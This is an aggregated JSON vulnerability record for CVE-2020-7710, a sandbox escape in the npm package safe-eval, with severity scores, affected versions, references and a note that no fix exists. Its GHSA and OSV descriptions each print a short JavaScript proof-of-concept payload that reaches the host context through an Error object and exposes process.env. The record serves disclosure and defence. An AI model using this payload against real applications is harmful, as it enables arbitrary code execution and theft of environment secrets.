{"id":"CVE-2020-7710","aliases":["EUVD-2020-0626","GHSA-hrpq-r399-whgw"],"status":"published","title":"Sandbox Escape","description":"This affects all versions of package safe-eval. It is possible for an attacker to run an arbitrary command on the host machine.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.0143,"percentile":0.73211,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-94"],"published":"2020-08-21T09:15:13Z","modified":"2026-06-17T03:25:18Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"safe-eval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.4.1"}]}]},{"source":"osv","ecosystem":"npm","package":"safe-eval","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.4.1"}]}]}],"products":[{"vendor":"safe-eval_project","product":"safe-eval"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-SAFEEVAL-608076","tags":["x_refsource_MISC","x_transferred","Third Party Advisory","web"]},{"url":"https://github.com/hacksparrow/safe-eval/issues/19","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7710","tags":["advisory"]},{"url":"https://www.npmjs.com/advisories/1322","tags":["web"]},{"url":"https://github.com/advisories/GHSA-hrpq-r399-whgw"}],"sources":{"cve":[{"id":"CVE-2020-7710","title":"Sandbox Escape","description":"This affects all versions of package safe-eval. It is possible for an attacker to run an arbitrary command on the host machine.","status":"published","published":"2020-08-21T09:15:13.975Z","modified":"2024-09-16T19:26:06.364Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C","level":"high","assessor":"cna"}],"updated_at":"2026-11-02T14:35:58.787905Z"}],"euvd":[{"id":"EUVD-2020-0626","description":"This affects all versions of package safe-eval. It is possible for an attacker to run an arbitrary command on the host machine.","status":"published","published":"2020-08-21T09:15:13Z","modified":"2024-09-16T19:26:06Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C","level":"high"}],"updated_at":"2026-11-03T00:55:22.776544Z"}],"ghsa":[{"id":"GHSA-hrpq-r399-whgw","title":"Sandbox Breakout / Arbitrary Code Execution in safe-eval","description":"All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system. \n\nEvaluating the payload \n```js\n(function (){\n  var ex = new Error\n  ex.__proto__ = null\n  ex.stack = {\n    match: x =\u003e {\n      return x.constructor.constructor(\"throw process.env\")()\n    }\n  }\n  return ex\n})()\n``` \n\nprints the contents of `process.env`.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","status":"published","published":"2020-08-25T23:40:53Z","modified":"2023-09-11T23:01:26Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:37:04.447845Z"}],"nvd":[{"id":"CVE-2020-7710","description":"This affects all versions of package safe-eval. It is possible for an attacker to run an arbitrary command on the host machine.","status":"published","published":"2020-08-21T10:15:11.46Z","modified":"2026-06-17T03:25:18.46Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"2.0","score":7.5,"vector":"AV:N/AC:L/Au:N/C:P/I:P/A:P","level":"high","assessor":"primary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:06:13.05572Z"}],"osv":[{"id":"GHSA-hrpq-r399-whgw","title":"Sandbox Breakout / Arbitrary Code Execution in safe-eval","description":"All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system. \n\nEvaluating the payload \n```js\n(function (){\n  var ex = new Error\n  ex.__proto__ = null\n  ex.stack = {\n    match: x =\u003e {\n      return x.constructor.constructor(\"throw process.env\")()\n    }\n  }\n  return ex\n})()\n``` \n\nprints the contents of `process.env`.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","status":"published","published":"2020-08-25T23:40:53Z","modified":"2026-03-13T21:56:24.860564Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:49.621585Z"}]}}
